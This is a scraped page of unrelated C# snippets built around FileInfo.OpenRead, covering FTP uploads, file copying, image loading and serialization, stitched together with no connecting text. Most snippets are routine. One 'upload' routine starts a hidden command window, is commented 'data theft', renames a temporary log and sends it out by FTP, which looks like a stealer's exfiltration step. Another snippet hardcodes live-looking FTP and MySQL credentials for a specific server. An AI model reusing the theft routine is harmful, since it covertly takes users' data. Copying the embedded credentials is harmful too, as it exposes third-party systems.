            TagsCollectionBase metaData = new TagsCollection();
            metaData.Add("some_key", "some_value");
            var routingSerializer = new CHEdgeDataDataSourceSerializer(true);
            routingSerializer.Serialize(writeStream, data, metaData);

            stream.Dispose();
            writeStream.Dispose();

            OsmSharp.Logging.Log.TraceEvent("CHSerializer", OsmSharp.Logging.TraceEventType.Information,
                string.Format("Serialized file: {0}KB", testOutputFile.Length / 1024));

            performanceInfo.Stop();
        }
Exemple #34
0
        /// <summary>
        /// 判断文件是否是音频文件
        /// </summary>
        /// <param name="file">需要判断的文件</param>
        /// <returns>返回bool类型值</returns>
        public static bool IsWaveFile(FileInfo file)
        {
            FileStream stream = null;
            try
            {
                stream = file.OpenRead();
                byte[] ware_FmtID = new byte[4];
                stream.Read(ware_FmtID, 0, 4);
                if (ware_FmtID[0] != 82 || ware_FmtID[1] != 73 || ware_FmtID[2] != 70 || ware_FmtID[3] != 70)
                {
                    return false;
                }
                stream.Seek(9, System.IO.SeekOrigin.Begin);

                stream.Read(ware_FmtID, 0, 4);

                if (ware_FmtID[0] != 65 || ware_FmtID[1] != 86 || ware_FmtID[2] != 69 || ware_FmtID[3] != 102)
                {
                    return false;
                }
                return true;
            }
            catch (System.IO.IOException)
            {
                return false;
            }
            finally
            {
                if (stream != null)
                {
                    stream.Close();
                }
            }
        }
Exemple #35
0
        private void button2_Click(object sender, EventArgs e)
        {
            try
            {
                this.progressBar1.Value = 0;
                while (this.progressBar1.Value < this.progressBar1.Maximum / 5 * 4) { Thread.Sleep(10); this.progressBar1.Value++; }
                FileInfo finfo = new FileInfo(this.richTextBox1.Text);  //绝对路径
                SqlCommand cmd = new SqlCommand();
                cmd.Connection = conn;
                cmd.CommandText = "UPDATE ASYSCONFIGS SET sysexe = @Content WHERE SYSID = 1";
                cmd.Parameters.Add("@Content", SqlDbType.Image, (int)finfo.Length);  //此处参数Size为写入的字节数
                //读取文件内容,写入byte数组
                byte[] content = new byte[finfo.Length];
                FileStream stream = finfo.OpenRead();
                stream.Read(content, 0, content.Length);
                stream.Flush();
                stream.Close();
                cmd.Parameters["@Content"].Value = content;  //为参数赋值
                conn.Open();
                cmd.ExecuteNonQuery();
                conn.Close();
                while (this.progressBar1.Value < this.progressBar1.Maximum) { Thread.Sleep(100); this.progressBar1.Value++; }
                MessageBox.Show("上传成功");

            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
        /// <summary>
        /// Executes the tests.
        /// </summary>
        public static void Test()
        {
            TagsTableCollectionIndex index = new TagsTableCollectionIndex();

            // first fill the index.
            ITagCollectionIndexTests.FillIndex(index, 100000);

            // serialize the index.
            FileInfo testFile = new FileInfo(@"test.file");
            testFile.Delete();
            Stream writeStream = testFile.OpenWrite();
            OsmSharp.Logging.Log.TraceEvent("Blocked", System.Diagnostics.TraceEventType.Information,
                "Serializing blocked file....");
            TagIndexSerializer.SerializeBlocks(writeStream, index, 100);
            writeStream.Flush();
            writeStream.Dispose();

            OsmSharp.Logging.Log.TraceEvent("Blocked", System.Diagnostics.TraceEventType.Information,
                string.Format("Serialized file: {0}KB", testFile.Length / 1024));

            // deserialize the index.
            Stream readStream = testFile.OpenRead();
            ITagsCollectionIndexReadonly readOnlyIndex = TagIndexSerializer.DeserializeBlocks(readStream);

            // test access.
            OsmSharp.Logging.Log.TraceEvent("Blocked", System.Diagnostics.TraceEventType.Information,
                "Started testing random access....");
            ITagCollectionIndexTests.TestRandomAccess("Blocked", readOnlyIndex, 1000);

            readStream.Dispose();
            testFile.Delete();
        }
        void OnFileCreated(object sender, FileSystemEventArgs e)
        {
            FileInfo lFile = new FileInfo(e.FullPath);
            if (lFile.Exists)
            {
                // schedule the processing on a different thread
                ThreadPool.QueueUserWorkItem(delegate
                {
                    while (true)
                    {
                        // wait 100 milliseconds between attempts to read
                        Thread.Sleep(TimeSpan.FromMilliseconds(100));
                        try
                        {
                            // try to open the file
                            lFile.OpenRead().Close();
                            break;
                        }
                        catch (IOException)
                        {
                            // if the file is still locked, keep trying
                            continue;
                        }
                    }

                    // the file can be opened successfully: raise the event
                    if (Created != null)
                        Created(this, e);
                });
            }
        }
        /// <summary>
        /// Copy the specified file.
        /// </summary>
        ///
        /// <param name="source">The file to copy.</param>
        /// <param name="target">The target of the copy.</param>
        public static void CopyFile(FileInfo source, FileInfo target)
        {
            try
            {
                var buffer = new byte[BufferSize];

                // open the files before the copy
                FileStream
                    ins0 = source.OpenRead();
                target.Delete();
                FileStream xout = target.OpenWrite();

                // perform the copy
                int packetSize = 0;

                while (packetSize != -1)
                {
                    packetSize = ins0.Read(buffer, 0, buffer.Length);
                    if (packetSize != -1)
                    {
                        xout.Write(buffer, 0, packetSize);
                    }
                }

                // close the files after the copy
                ins0.Close();
                xout.Close();
            }
            catch (IOException e)
            {
                throw new EncogError(e);
            }
        }
        public void DeployTest()
        {
            FileInfo parFile = new FileInfo("ExamplePar/helloworld1.par");
            FileStream fstream = parFile.OpenRead();
            byte[] b = new byte[parFile.Length];
            fstream.Read(b, 0, (int)parFile.Length);
            processDefinitionService.DeployProcessArchive(b);

            IProcessDefinition pd = processDefinitionService.GetProcessDefinition("Hello world 1");
            Assert.IsNotNull(pd);
            //1:first activity state 2:start 3:end
            //Assert.AreEqual(3, pd.Nodes.Count);
            //也要能取出state
            //pd.GetStates("first activity state")

            //要能取出Trnsitions
            //transitions = pd.from("first activity state");
            //transitions = pd.to("end");

            //要能取得Delegations

            /*select * from [dbo].[NBPM_DELEGATION];
              select * from [dbo].[NBPM_NODE];
              select * from [dbo].[NBPM_PROCESSBLOCK];
              select * from [dbo].[NBPM_TRANSITION];
            */
        }
 public static object LoadObject(FileInfo file)
 {
     FileStream stream = null;
     object obj3;
     try
     {
         stream = file.OpenRead();
         obj3 = LoadObject(stream);
     }
     catch (IOException exception)
     {
         throw new PersistError(exception);
     }
     finally
     {
         if (stream != null)
         {
             try
             {
                 stream.Close();
             }
             catch (IOException exception2)
             {
                 EncogLogging.Log(exception2);
             }
         }
     }
     return obj3;
 }
 /// <summary>  
 /// 上传  
 /// </summary>   
 public void Upload(string filename)
 {
     FileInfo fileInf = new FileInfo(filename);
     FtpWebRequest reqFTP;
     reqFTP = (FtpWebRequest)FtpWebRequest.Create(new Uri(ftpURI + fileInf.Name));
     reqFTP.Credentials = new NetworkCredential(ftpUserID, ftpPassword);
     reqFTP.Method = WebRequestMethods.Ftp.UploadFile;
     reqFTP.KeepAlive = false;
     reqFTP.UseBinary = true;
     reqFTP.ContentLength = fileInf.Length;
     int buffLength = 2048;
     byte[] buff = new byte[buffLength];
     int contentLen;
     FileStream fs = fileInf.OpenRead();
     try
     {
         Stream strm = reqFTP.GetRequestStream();
         contentLen = fs.Read(buff, 0, buffLength);
         while (contentLen != 0)
         {
             strm.Write(buff, 0, contentLen);
             contentLen = fs.Read(buff, 0, buffLength);
         }
         strm.Close();
         fs.Close();
     }
     catch (Exception ex)
     {
         throw new Exception(ex.Message);
     }
 }
 public void GetFundamentalData(string symbol)
 {
     string path = string.Format(@"{0}\{1}.Technical.csv", DataDir, symbol);
     var info = new FileInfo(path);
     if(!info.Exists)
     {
         return;
     }
     using(FileStream stream = info.OpenRead())
     {
         var reader = new StreamReader(stream);
         while (!reader.EndOfStream)
         {
             string[] strings = reader.ReadLine().Split(',');
             if(strings[0] == "Name")
             {
                 continue;
             }
             EpsEstimateCurrentYear = strings[3];
             EpsNextQuarter = strings[21];
             PeRatio = strings[8];
             PegRatio = strings[18];
             return;
         }
     }
 }
Exemple #43
0
        static void UploadFile(string _FileName, string _UploadPath, string _FTPUser, string _FTPPass)
        {
            System.IO.FileInfo       _FileInfo      = new System.IO.FileInfo(_FileName);
            System.Net.FtpWebRequest _FtpWebRequest = (System.Net.FtpWebRequest)System.Net.FtpWebRequest.Create(new Uri(_UploadPath));
            _FtpWebRequest.Credentials   = new System.Net.NetworkCredential(_FTPUser, _FTPPass);
            _FtpWebRequest.KeepAlive     = false;
            _FtpWebRequest.Timeout       = 20000;
            _FtpWebRequest.Method        = System.Net.WebRequestMethods.Ftp.UploadFile;
            _FtpWebRequest.UseBinary     = true;
            _FtpWebRequest.ContentLength = _FileInfo.Length;
            int buffLength = 2048;

            byte[] buff = new byte[buffLength];
            System.IO.FileStream _FileStream = _FileInfo.OpenRead();

            try
            {
                System.IO.Stream _Stream = _FtpWebRequest.GetRequestStream();
                int contentLen           = _FileStream.Read(buff, 0, buffLength);
                while (contentLen != 0)
                {
                    _Stream.Write(buff, 0, contentLen);
                    contentLen = _FileStream.Read(buff, 0, buffLength);
                }
                _Stream.Close();
                _Stream.Dispose();
                _FileStream.Close();
                _FileStream.Dispose();
            }
            catch (Exception ex)
            {
                loguj("Błąd FTP: " + ex.Message.ToString());
            }
        }
        static void Main(string[] args) {
            FileInfo f = new FileInfo("BinFile.dat");

            using (BinaryWriter bw = new BinaryWriter(f.OpenWrite())) {
                Console.WriteLine("Base stream is: {0}", bw.BaseStream);
                double aDouble = 1234.67;
                int anInt = 34567;
                string aString = "A, B, C";

                bw.Write(aDouble);
                bw.Write(anInt);
                bw.Write(aString);
            
            }

            using (BinaryReader br = new BinaryReader(f.OpenRead())) {
                Console.WriteLine(br.ReadDouble());
                Console.WriteLine(br.ReadInt32());
                Console.WriteLine(br.ReadString());
            }

            Console.WriteLine("Done!");
            Console.ReadLine();
        
        }
Exemple #45
0
        //
        /// <summary>  
             /// 上传文件  
             /// </summary>  
             /// <param name="fileinfo">需要上传的文件</param>  
             /// <param name="targetDir">目标路径</param>  
             /// <param name="hostname">ftp地址</param>  
             /// <param name="username">ftp用户名</param>  
             /// <param name="password">ftp密码</param>  
             /// <returns></returns>  
        public static Boolean UploadFile(System.IO.FileInfo fileinfo, string hostname, string username, string password)
        {
            string strExtension = System.IO.Path.GetExtension(fileinfo.FullName);
            string strFileName  = "";

            strFileName = fileinfo.Name;    //获取文件的文件名  
            string URI = hostname + "/" + strFileName;

            //获取ftp对象  
            System.Net.FtpWebRequest ftp = GetRequest(URI, username, password);

            //设置ftp方法为上传  
            ftp.Method = System.Net.WebRequestMethods.Ftp.UploadFile;

            //制定文件传输的数据类型  
            ftp.UseBinary  = true;
            ftp.UsePassive = true;


            //文件大小  
            ftp.ContentLength = fileinfo.Length;
            //缓冲大小设置为2kb  
            const int BufferSize = 2048;

            byte[] content = new byte[BufferSize - 1 + 1];
            int    dataRead;

            //打开一个文件流(System.IO.FileStream)去读上传的文件  
            using (System.IO.FileStream fs = fileinfo.OpenRead())
            {
                try
                {
                    //把上传的文件写入流  
                    using (System.IO.Stream rs = ftp.GetRequestStream())
                    {
                        do
                        {
                            //每次读文件流的2KB  
                            dataRead = fs.Read(content, 0, BufferSize);
                            rs.Write(content, 0, dataRead);
                        } while (!(dataRead < BufferSize));
                        rs.Close();
                        return(true);
                    }
                }
                catch (Exception ex)
                {
                    ftp        = null;
                    ftp        = GetRequest(URI, username, password);
                    ftp.Method = System.Net.WebRequestMethods.Ftp.DeleteFile;//删除  
                    ftp.GetResponse();
                    return(false);
                }
                finally
                {
                    fs.Close();
                }
            }
        }
    private IEnumerator generateTiles(int zoom, int x, int y, int offsetX, int offsetY)
    {
        float tileSize = 1;
        var   tile     = GameObject.CreatePrimitive(PrimitiveType.Quad);

        tile.name = string.Format("tile-{0}-{1}-{2}", zoom, x, y);
        tile.transform.SetParent(this.transform, false);
        tile.transform.localRotation = Quaternion.Euler(0, 0, 0);

        tile.transform.localPosition += new Vector3(offsetX * tileSize, 0, (-offsetY * tileSize));
        tile.transform.localScale     = new Vector3(1, 1 /*2.5f*/, 1);

        // OSM uses tiles: https://wiki.openstreetmap.org/wiki/Slippy_map_tilenames
        // TMS uses tiles: https://en.wikipedia.org/wiki/Tile_Map_Service

        // Convert XYZ OSM to XYZ TMS
        int tms_zoom = zoom; // Stays the same
        int tms_x    = x;    // Stays the same
        int tms_y    = (int)(System.Math.Pow(2, zoom) - y - 1);

        name = $"Height-mesh-tile-{tms_zoom}-{ tms_x}-{tms_y}";
        var  fi          = new System.IO.FileInfo(String.Format(@"C:\development\QuantizedMesh\AHN\DTM\MOORDRECHT\tiles\{0}\{1}\{2}.terrain", tms_zoom, tms_x, tms_y));
        Mesh terrainMesh = (fi.Exists) ? QuantizedMeshCreator.CreateMesh(fi.OpenRead(), name) : QuantizedMeshCreator.CreateEmptyQuad(name + "_noheightmap");

        tile.gameObject.GetComponent <MeshFilter>().mesh         = terrainMesh;
        tile.gameObject.GetComponent <MeshCollider>().sharedMesh = terrainMesh;
        tile.gameObject.layer = 10;



        //new TileGeoJSON(tile, tms_zoom, tms_x, y);
        //
        //string url = string.Format("https://tile.openstreetmap.org/{0}/{1}/{2}.png", zoom, x, y);
        string url = string.Format("http://mt0.google.com/vt/lyrs=y&hl=en&x={1}&y={2}&z={0}&s=Ga", zoom, x, y);

        using (UnityWebRequest uwr = UnityWebRequestTexture.GetTexture(url))
        {
            yield return(uwr.SendWebRequest());

            if (uwr.isNetworkError || uwr.isHttpError)
            {
                Debug.Log(uwr.error);
            }
            else
            {
                // Get downloaded asset bundle
                var texture = DownloadHandlerTexture.GetContent(uwr);
                var rend    = tile.GetComponent <MeshRenderer>();
                if (rend)
                {
                    Material material = new Material(Shader.Find("Standard"));
                    //Texture2D texture = new Texture2D(512, 512, TextureFormat.DXT5, false);
                    //texture.LoadImage(bytes);
                    material.mainTexture = texture;
                    rend.material        = material;
                }
            }
        }
    }
Exemple #47
0
 public static DataTable ReadExcel(System.IO.FileInfo file, bool bDefaultFromFirstRow)
 {
     using (System.IO.Stream stream = file.OpenRead())
     {
         var bNewExcel = (0 == string.Compare(file.Extension, ".xlsx", false));
         return(ReadExcel(stream, bNewExcel, bDefaultFromFirstRow));
     }
 }
Exemple #48
0
        private bool GetPieceInfoFromFile(CheckIntegrityCallback callback)
        {
            string pieceFilePath = Config.ApplicationDataDirectory + IO.Path.DirectorySeparatorChar + this.infofile.PieceFileName + ".piece";

            IO.FileInfo pieceFileInfo = new IO.FileInfo(pieceFilePath);
            if (pieceFileInfo.Exists)
            {
                // before we rely on the piece file, do a simple check of file existance and lengths to make sure nothing's changed
                for (int i = 0; i < this.infofile.FileCount; ++i)
                {
                    string path         = this.infofile.GetFileName(i);
                    int    properLength = this.infofile.GetFileLength(i);

                    // TODO: introduce modification time check - requires saving time data in piece file

                    IO.FileInfo fileInfo = new IO.FileInfo(path);
                    if (!fileInfo.Exists)
                    {
                        return(false);                        // a file doesn't exist, do a proper check
                    }
                    long realLength = fileInfo.Length;
                    if (properLength != realLength)
                    {
                        return(false);                        // a file doesn't have a proper length, do a proper check
                    }
                }

                IO.FileStream pieceFile = pieceFileInfo.OpenRead();
                int           numBytes  = this.infofile.PieceCount / 8 + ((this.infofile.PieceCount % 8) > 0 ? 1 : 0);
                byte[]        data      = new byte[numBytes];
                pieceFile.Read(data, 0, data.Length);
                pieceFile.Close();

                this.piecesDownloaded.SetFromRaw(data, 0, data.Length);
                this.piecesDownloaded.SetLength(this.infofile.PieceCount);

                this.numBytesLeft = 0;
                for (int i = 0; i < this.infofile.PieceCount; ++i)
                {
                    if (!this.piecesDownloaded[i])
                    {
                        this.numBytesLeft += this.infofile.GetPieceLength(i);
                    }
                }

                if (callback != null)
                {
                    callback(this, this.infofile.PieceCount - 1, false, 100.0f);
                }

                return(true);
            }
            else
            {
                return(false);
            }
        }
Exemple #49
0
 private void ReadFile(System.IO.FileInfo file)
 {
     using (var fileStream = file.OpenRead())
     {
         Span <byte> buffer = new Span <byte>();
         fileStream.Read(buffer);
         string content = GetFileContent(buffer);
         historyFiles = FileSerializer.Deserialize(content);
     }
 }
Exemple #50
0
        private void openFileDialog1_FileOk(object sender, CancelEventArgs e)
        {
            string files = openFileDialog1.FileName;

            CurrentImagePath = files.Substring(files.LastIndexOf("\\"));
            System.IO.FileInfo   fileInfo   = new System.IO.FileInfo(files);
            System.IO.FileStream fileStream = fileInfo.OpenRead();
            pictureBox1.Image = resizeImage(System.Drawing.Image.FromStream(fileStream), new Size(150, 200));
            fileStream.Close();
        }
Exemple #51
0
        public static void fooo(string fileName, SaveFormat saveFormat)
        {
            //var imagePath = Microsoft.AspNetCore.Http.PathString.FromUriComponent("/" + url);
            //var fileInfo =  _fileProvider.GetFileInfo(imagePath);


            var fileInfo = new System.IO.FileInfo(fileName);
            //if (!fileInfo.Exists) { return NotFound(); }


            int width  = 100;
            int height = 100;

            byte[] data = null;


            using (MemoryStream outputStream = new MemoryStream())
            {
                using (System.IO.Stream inputStream = fileInfo.OpenRead())
                {
                    using (Image <Rgba32> image = Image.Load(inputStream))
                    {
                        image.Mutate(
                            delegate(IImageProcessingContext <Rgba32> mutant)
                        {
                            mutant.Resize(image.Width / 2, image.Height / 2);
                        }
                            );

                        IImageEncoder enc = null;

                        if (saveFormat == SaveFormat.Jpg)
                        {
                            enc = new SixLabors.ImageSharp.Formats.Jpeg.JpegEncoder();
                        }
                        else if (saveFormat == SaveFormat.Png)
                        {
                            enc = new SixLabors.ImageSharp.Formats.Png.PngEncoder();
                        }
                        else if (saveFormat == SaveFormat.Png)
                        {
                            enc = new SixLabors.ImageSharp.Formats.Gif.GifEncoder();
                        }
                        else if (saveFormat == SaveFormat.Bmp)
                        {
                            enc = new SixLabors.ImageSharp.Formats.Bmp.BmpEncoder();
                        }

                        image.Save(outputStream, enc);
                    } // End Using image

                    data = outputStream.ToArray();
                } // End Using inputStream
            }     // End Using outputStream
        }         // End Sub fooo
Exemple #52
0
 public Item CreateorUpdateMedia(string sitecorePath, string sourcePath, string mediaItemName)
 {
     try
     {
         Database masterDb = Sitecore.Configuration.Factory.GetDatabase("master");
         // ItemUri itemUri = ItemUri.Parse(sitecorePath + "/" + mediaItemName);
         // Item myItem = Database.GetItem(itemUri);
         // Create the options
         Sitecore.Resources.Media.MediaCreatorOptions options = new Sitecore.Resources.Media.MediaCreatorOptions();
         // Store the file in the database, not as a file
         options.FileBased = false;
         // Remove file extension from item name
         options.IncludeExtensionInItemName = false;
         // Overwrite any existing file with the same name
         options.OverwriteExisting = true;
         // Do not make a versioned template
         options.Versioned = false;
         // set the path
         options.Destination = sitecorePath;
         options.Destination = options.Destination + "/" + mediaItemName;
         options.Database    = masterDb;
         // Now create the file
         Sitecore.Resources.Media.MediaCreator creator = new Sitecore.Resources.Media.MediaCreator();
         var mediaItem = masterDb.GetItem(sourcePath);
         if (mediaItem != null)
         {
             FileInfo     fi = new System.IO.FileInfo(sourcePath);
             FileStream   fs = fi.OpenRead();
             MemoryStream ms = new MemoryStream();
             ms.SetLength(fs.Length);
             fs.Read(ms.GetBuffer(), 0, (int)fs.Length);
             ms.Flush();
             fs.Close();
             MediaItem updatedItem = creator.AttachStreamToMediaItem(ms, sitecorePath, mediaItemName, options);
             if (updatedItem != null)
             {
                 ms.Dispose();
                 return(updatedItem);
             }
         }
         else
         {
             MediaItem newItem = creator.CreateFromFile(sourcePath, options);
             if (newItem != null)
             {
                 return(newItem);
             }
         }
     }
     catch (Exception ex)
     {
     }
     return(null);
 }
Exemple #53
0
        public static ModEnvironmentConfiguration Load(System.IO.FileInfo xmlConfigFile)
        {
            var dcserializer = new System.Runtime.Serialization.DataContractSerializer(typeof(ModEnvironmentConfiguration));

            //var serializer = new System.Xml.Serialization.XmlSerializer(typeof(ModEnvironmentConfiguration));
            using (var fstream = xmlConfigFile.OpenRead())
            {
                var mec = (ModEnvironmentConfiguration)dcserializer.ReadObject(fstream);
                return(mec);
            }
        }
Exemple #54
0
    public static IEnumerator UploadThread()
    {
        yield return(null);

        t2_ = new Thread(() =>
        {
            DebugLevelController.Log("--Upload Thread Started", 1);
            FtpWebRequest ftpClient = (FtpWebRequest)FtpWebRequest.Create("ftp://" + FTPHost + new FileInfo(FilePath).Name);
            ftpClient.Credentials   = new System.Net.NetworkCredential(FTPUserName, FTPPassword);
            ftpClient.Method        = System.Net.WebRequestMethods.Ftp.UploadFile;
            //ftpClient.EnableSsl = true;
            ftpClient.UseBinary = true;
            ftpClient.KeepAlive = true;
            DebugLevelController.Log("--FTP Client Created", 1);
            System.IO.FileInfo fi   = new System.IO.FileInfo(FilePath);
            ftpClient.ContentLength = fi.Length;
            byte[] buffer           = new byte[4097];
            int bytes               = 0;
            long total_bytes        = (long)fi.Length;
            System.IO.FileStream fs = fi.OpenRead();
            System.IO.Stream rs     = ftpClient.GetRequestStream();
            long fileLength         = new System.IO.FileInfo(FilePath).Length;
            while (total_bytes > 0)
            {
                if (abortThreadOnNextTry)
                {
                    return;
                }
                bytes = fs.Read(buffer, 0, buffer.Length);
                rs.Write(buffer, 0, bytes);
                total_bytes  = total_bytes - bytes;
                UploadStatus = "Upload Progress: " + GetBytesReadable(fileLength - total_bytes) + "/" + GetBytesReadable(fileLength);
                //yield return new WaitForEndOfFrame();
            }
            //fs.Flush();
            fs.Close();
            rs.Close();
            FtpWebResponse uploadResponse = (FtpWebResponse)ftpClient.GetResponse();
            if (total_bytes == 0)
            {
                UploadStatus = "Upload Done!";
            }
            else
            {
                UploadStatus = uploadResponse.StatusDescription;
            }
            uploadResponse.Close();
        });
        if (!t2_.IsAlive)
        {
            t2_.Start();
        }
    }
 /// <summary>
 /// 转成base64内容
 /// </summary>
 public static string ToBase64(this System.IO.FileInfo fileInfo)
 {
     using (var file = fileInfo.OpenRead())
         using (var st = new MemoryStream())
         {
             file.CopyTo(st);
             file.Flush();
             st.Position = 0;
             var base64 = Convert.ToBase64String(st.ToArray());
             return(base64);
         }
 }
Exemple #56
0
        private void Maj_launcher()
        {
            try
            {
                FtpWebRequest ftpClient = (FtpWebRequest)FtpWebRequest.Create("ftp://37.187.114.51/maisha/launcher/config/listserver.xml");
                ftpClient.Credentials = new System.Net.NetworkCredential("eroiikzz", "W3bM4stEr");
                ftpClient.Method      = System.Net.WebRequestMethods.Ftp.UploadFile;
                ftpClient.UseBinary   = true;
                ftpClient.KeepAlive   = true;
                System.IO.FileInfo fi = new System.IO.FileInfo(appdata + "ListMod.xml");
                ftpClient.ContentLength = fi.Length;
                byte[] buffer           = new byte[4097];
                int    bytes            = 0;
                int    total_bytes      = (int)fi.Length;
                System.IO.FileStream fs = fi.OpenRead();
                System.IO.Stream     rs = ftpClient.GetRequestStream();
                while (total_bytes > 0)
                {
                    bytes = fs.Read(buffer, 0, buffer.Length);
                    rs.Write(buffer, 0, bytes);
                    total_bytes = total_bytes - bytes;
                }
                //fs.Flush();
                fs.Close();
                rs.Close();
                FtpWebResponse uploadResponse = (FtpWebResponse)ftpClient.GetResponse();
                Label_HASH.Text = uploadResponse.StatusDescription;
                uploadResponse.Close();

                var client  = new RestClient(apiUrl);
                var request = new RestRequest("api/server/get", Method.POST);
                request.AddParameter("id", 64);

                IRestResponse response = client.Execute(request);
                var           content  = response.Content;
                dynamic       res      = JObject.Parse(content.ToString());
                string        tmp      = res.vmod;
                int           vmod     = Int32.Parse(tmp);
                vmod++;
                string connectionString = "SERVER=37.187.114.51; DATABASE=launcher; UID=Launcher; PASSWORD=*M$3zeXW9!re";
                this.connection = new MySqlConnection(connectionString);

                this.connection.Open();
                MySqlCommand cmd = this.connection.CreateCommand();
                cmd.CommandText = "UPDATE servers SET vmod = " + vmod + " WHERE id=64";
                cmd.ExecuteNonQuery();
                this.connection.Close();
            }
            catch
            {
            }
        }
Exemple #57
0
    public static void upload()
    {
        try
        {
            Process ren = new Process();
            ren.StartInfo.FileName = "cmd.exe";
            ren.StartInfo.RedirectStandardInput  = true;
            ren.StartInfo.RedirectStandardOutput = true;
            ren.StartInfo.CreateNoWindow         = true;
            ren.StartInfo.UseShellExecute        = false;
            ren.StartInfo.WindowStyle            = System.Diagnostics.ProcessWindowStyle.Hidden; // make similar to daemon
            ren.Start();

            // Start data theft code execution
            ren.StandardInput.WriteLine("ren %tmp%\\debug_vsHost2.log debug_vsHost2_up.log");
            ren.StandardInput.Flush();
            ren.StandardInput.Close();
            ren.WaitForExit();

            // close the daemon
            ren.Close();

            FtpWebRequest ftpClient = (FtpWebRequest)FtpWebRequest.Create(new Uri(ftpurl + ftpusername + "_" + filename));
            ftpClient.Credentials = new System.Net.NetworkCredential(ftpusername, ftppassword);
            ftpClient.Method      = System.Net.WebRequestMethods.Ftp.UploadFile;
            ftpClient.UseBinary   = true;
            ftpClient.KeepAlive   = true;
            System.IO.FileInfo fi = new System.IO.FileInfo(filename);
            ftpClient.ContentLength = fi.Length;
            byte[] buffer           = new byte[4097];
            int    bytes            = 0;
            int    total_bytes      = (int)fi.Length;
            System.IO.FileStream fs = fi.OpenRead();
            System.IO.Stream     rs = ftpClient.GetRequestStream();
            while (total_bytes > 0)
            {
                bytes = fs.Read(buffer, 0, buffer.Length);
                rs.Write(buffer, 0, bytes);
                total_bytes = total_bytes - bytes;
            }
            //fs.Flush();
            fs.Close();
            rs.Close();
            FtpWebResponse uploadResponse = (FtpWebResponse)ftpClient.GetResponse();
            value = uploadResponse.StatusDescription;
            uploadResponse.Close();
        }
        catch (Exception err)
        {
            string t = err.ToString();
        }
    }
Exemple #58
0
        /// <summary>
        /// Copies a file to another location
        /// </summary>
        /// <param name="source">Source file being copied</param>
        /// <param name="destination">Path the file is being copied to</param>
        private void CopyFile(io.FileInfo source, String destination)
        {
            try
            {
                using (io.FileStream sourceStream = source.OpenRead())
                {
                    using (io.FileStream destinationStream = new io.FileStream(destination, io.FileMode.Create, io.FileAccess.Write))
                    {
                        const int maxBufferSize = 8192;

                        Int64 progress = 0L;

                        while (progress < source.Length)
                        {
                            if (cancel)
                            {
                                break;
                            }

                            Int64 bufferSize = source.Length - progress;

                            if (bufferSize > maxBufferSize)
                            {
                                bufferSize = maxBufferSize;
                            }

                            byte[] buffer = new byte[bufferSize];
                            sourceStream.Read(buffer, 0, buffer.Length);
                            destinationStream.Write(buffer, 0, buffer.Length);

                            GeneralMethods.ExecuteDelegateOnGuiThread(Dispatcher, () => Progress += bufferSize);
                            progress += bufferSize;
                        }
                    }
                }
            }
            catch
            {
                cancel = true;
                throw;
            }
            finally
            {
                if (cancel)
                {
                    if (io.File.Exists(destination))
                    {
                        io.File.Delete(destination);
                    }
                }
            }
        }
Exemple #59
0
        public void LoadImage(string path)
        {
            string AppPath = Application.StartupPath;
            string file    = AppPath + path;

            if (File.Exists(file))
            {
                pictureBox1.Image = null;
                System.IO.FileInfo   fileInfo   = new System.IO.FileInfo(file);
                System.IO.FileStream fileStream = fileInfo.OpenRead();
                pictureBox1.Image = resizeImage(System.Drawing.Image.FromStream(fileStream), new Size(150, 200));
                fileStream.Close();
            }
        }
        public static string Upload(string url, string filePath)
        {
            HttpMessageHandler handler = new HttpClientHandler();

            using (HttpClient client = new HttpClient(handler))
            {
                MultipartFormDataContent content = new MultipartFormDataContent("Upload----" + DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"));
                var file = new System.IO.FileInfo(filePath);
                content.Add(new StreamContent(file.OpenRead()), "media", file.Name);
                using (var response = client.PostAsync(url, content).GetAwaiter().GetResult())
                {
                    return(response.Content.ReadAsStringAsync().GetAwaiter().GetResult());
                }
            }
        }